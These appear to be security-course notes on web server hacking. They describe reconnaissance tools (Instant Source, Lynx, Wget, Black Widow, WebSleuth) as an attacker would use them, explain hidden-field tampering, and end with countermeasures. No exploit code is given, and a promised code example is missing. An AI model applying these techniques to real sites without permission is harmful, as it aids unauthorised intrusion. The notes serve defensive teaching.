Lack of User Authentication before performing critical tasks: An obvious security lapse, where restricted area access is given without proper authentication, reuse of authentication cache or poor logout procedures. These applications can be vulnerable to cookie based attacks.

Information Gathering and Discovery
- Documenting Application / Site Map
- Identifiable Characteristics / Fingerprinting
- Signature Error and Response Codes
- File / Application Enumeration
  - Forced Browsing
  - Hidden Files
  - Vulnerable CGIs
  - Sample Files
Input/Output Client-Side Data Manipulation

Penetrating web servers is no different from attacking other systems when it comes to the basic methodology. Here also, we begin with information gathering and discovery. This can be anything from searching for particular file types / banners on search engines like google. For examples, searching for "index/" may bring up unsuspecting directories on interesting sites where one may find information that can be used for penetrating the web server.

Hacking Tool: Instant Source

http://www.blazingtool.com

Instant Source lets you take a look at a web page's source code, to see how things are done. Also, you can edit HTML directly inside Internet Explorer!
The program integrates into Internet Explorer and opens a new toolbar window which instantly displays the source code for whatever part of the page you select in the browser window.

Instant Source is an application that lets the user view the underlying source code as he browses a web page. The traditional way of doing this has been the View Source command in the browser. However, the process was tedious as the viewer has to parse the entire text file if he is searching for a particular block of code. Instant Source allows the user to view the code for the selected elements instantly without having to open the entire source.

The program integrates into Internet Explorer and opens a new toolbar window, instantly displaying the source code of the page / selection in the browser window. Instant Source can show all Flash movies, script files (*.JS, *.VBS), style sheets (*.CSS) and images on a page. All external files can be demarcated and stored separately in a folder. The tool also includes HTML, JavaScript and VBScript syntax highlighting and support for viewing external CSS and scripts files directly in the browser. This is not available from the view source command option.

With dynamic HTML, the source code changes after the basic HTML page loads - which is the HTML that was loaded from the server without any further processing. Instant Source integrates into Internet Explorer and shows these changes, thereby eliminating the need for an external viewer.

Hacking Tool: Lynx

http://lynx.browser.org

Lynx is a text-based browser used for downloading source files and directory links.

Lynx is a text browser client for users running cursor-addressable, character-cell display devices. It can display HTML documents containing links to files on the local system, as well as files on remote systems running http, gopher, ftp, wais, nntp, finger, or cso/ph/qi servers, and services accessible via logins to telnet, tn3270 or rlogin accounts. Current versions of Lynx run on UNIX, VMS, Windows3.x/9x/NT, 386DOS and OS/2 EMX.

Lynx can be used to access information on the Internet, or to build information systems intended primarily for local access. The current developmental Lynx has two PC ports. The ports are for Win32 (95 and NT) and DOS 386+. There Is a SSL enabled version of Lynx for Win32 by the name of lynxw32.lzh

There is a default Download option of Save to disk. This is disabled if Lynx is running in anonymous mode. Any number of download methods such as kermit and zmodem may be defined in addition to this default in the lynx.cfg file.

Hacking Tool: Wget

www.gnu.org/software/wget/wget.html

Wget is a command line tool for Windows and Unix that will download the contents of a web site.
It works non-interactively, so it will work in the background, after having logged off.
Wget works particularly well with slow or unstable connections by continuing to retrieve a document until the document is fully downloaded.
Both http and ftp retrievals can be time stamped, so Wget can see if the remote file has changed since the last retrieval and automatically retrieve the new version if it has.

GNU Wget is a freely available network utility to retrieve files from the Internet using HTTP and FTP. It works non-interactively, allowing the user to enabling work in the background, after having logged off. The recursive retrieval of HTML pages, as well as FTP sites is supported. Can be used to make mirrors of archives and home pages, or traverse the web like a WWW robot.

Wget works well on slow or unstable connections, keeping getting the document until it is fully retrieved and re-getting files from where it left off works on servers (both HTTP and FTP) that support it. Matching of wildcards and recursive mirroring of directories are available when retrieving via FTP. Both HTTP and FTP retrievals can be time-stamped, thus Wget can see if the remote file has changed since last retrieval and automatically retrieve the new version if it has.

By default, Wget supports proxy servers, which can lighten the network load, speed up retrieval and provide access behind firewalls. However, if behind a firewall that requires a socks style gateway, the user can get the socks library and compile wget with support for socks.

Hacking Tool: Black Widow

http://softbytelabs.com

Black widow is a website scanner, a site mapping tool, a site ripper, a site mirroring tool, and an offline browser program.
Use it to scan a site and create a complete profile of the site's structure, files, E-mail addresses, external links and even link errors.

Another tool that can be found in an attacker's arsenal is Black Widow. This tool can be used for various purposes because it functions as a web site scanner, a site mapping tool, a site ripper, a site mirroring tool, and an offline browser program. Note its use as a site mirroring tool. An attacker can use it to mirror the target site on his hard drive and parse it for security flaws in the offline mode.

The attacker can also use this for the information gathering and discovery phase by scanning the site and creating a complete profile of the site's structure, files, e-mail addresses, external links and even errors messages. This will help him launch a targeted attack that has more chance of succeeding and leaving a smaller footprint.

The attacker can also look for specific file types and download any selection of files: from 'JPG' to 'CGI' to 'HTML' to MIME types. There is no file size restriction, and the user can download small to large files, that are a part of a site or from a group of sites.

http://sandsprite.com/sleuth/

WebSleuth is an excellent tool that combines spidering with the capability of a personal proxy such as Achilles.

Websleuth is a tool that combines web crawling with the capability of a personal proxy. The current version of sleuth supports functionality to: convert hidden & select form elements to textboxes; efficient forms parsing and analysis; edit rendered source of WebPages; edit raw cookies in their raw state etc.

It can also make raw http requests to servers impersonating the referrer, cookie etc..; block javascript popups automatically; highlight & parse full html source code; and analyze cgi links apart from logging all surfing activities and http headers for requests and responses.

Sleuth can generate reports of elements of web page; facilitate enhanced i.e. Proxy management, as well as security settings management. Sleuth has the facility to monitor cookies in real-time. Javascript console aids in interacting directly with the pages scripts and remove all scripts in a webpage.

Hidden fields are embedded within HTML forms to maintain values that will be sent back to the server.
Hidden fields serve as a mean for the web application to pass information between different applications.
Using this method, an application may pass the data without saving it to a common backend system (typically a database.)
A major assumption about the hidden fields is that since they are non visible (i.e. hidden) they will not be viewed or changed by the client.
Web attacks challenge this assumption by examining the HTML code of the page and changing the request (usually a POST request) going to the server.
By changing the value the entire logic between the different application parts, the application is damaged and manipulated to the new value.

Hidden field tampering:

Most of us who have dabbled with some HTML coding have come across the hidden field. For example, consider the code below:

Most web applications rely on HTML forms to receive input from the user. However, users can choose to save the form to a file, edit it and then use the edited form to submit data back to the server. Herein lies the vulnerability, as this is a "stateless" interaction with the web application. HTTP transactions are connectionless, one-time transmissions.

The conventional way of checking for the continuity of connection is to check the state of the user from information stored at the user's end (Another pointer to the fallacy in trusting the client side data). This can be stored in a browser in three ways; cookies, encoded URLs and HTML form "hidden" fields

Countermeasure

The first rule in web application development from a security standpoint is not to rely on the client side data for critical processes. Using encrypted sessions such as SSL or "secure" cookies are advocated instead of using hidden fields. Digital algorithms may be used where values of critical parameters may be hashed with a digital signature to ascertain the authenticity of data. The safest bet would be to rely on server side authentication mechanisms for high security applications.

---Regards,
Amarjit Singh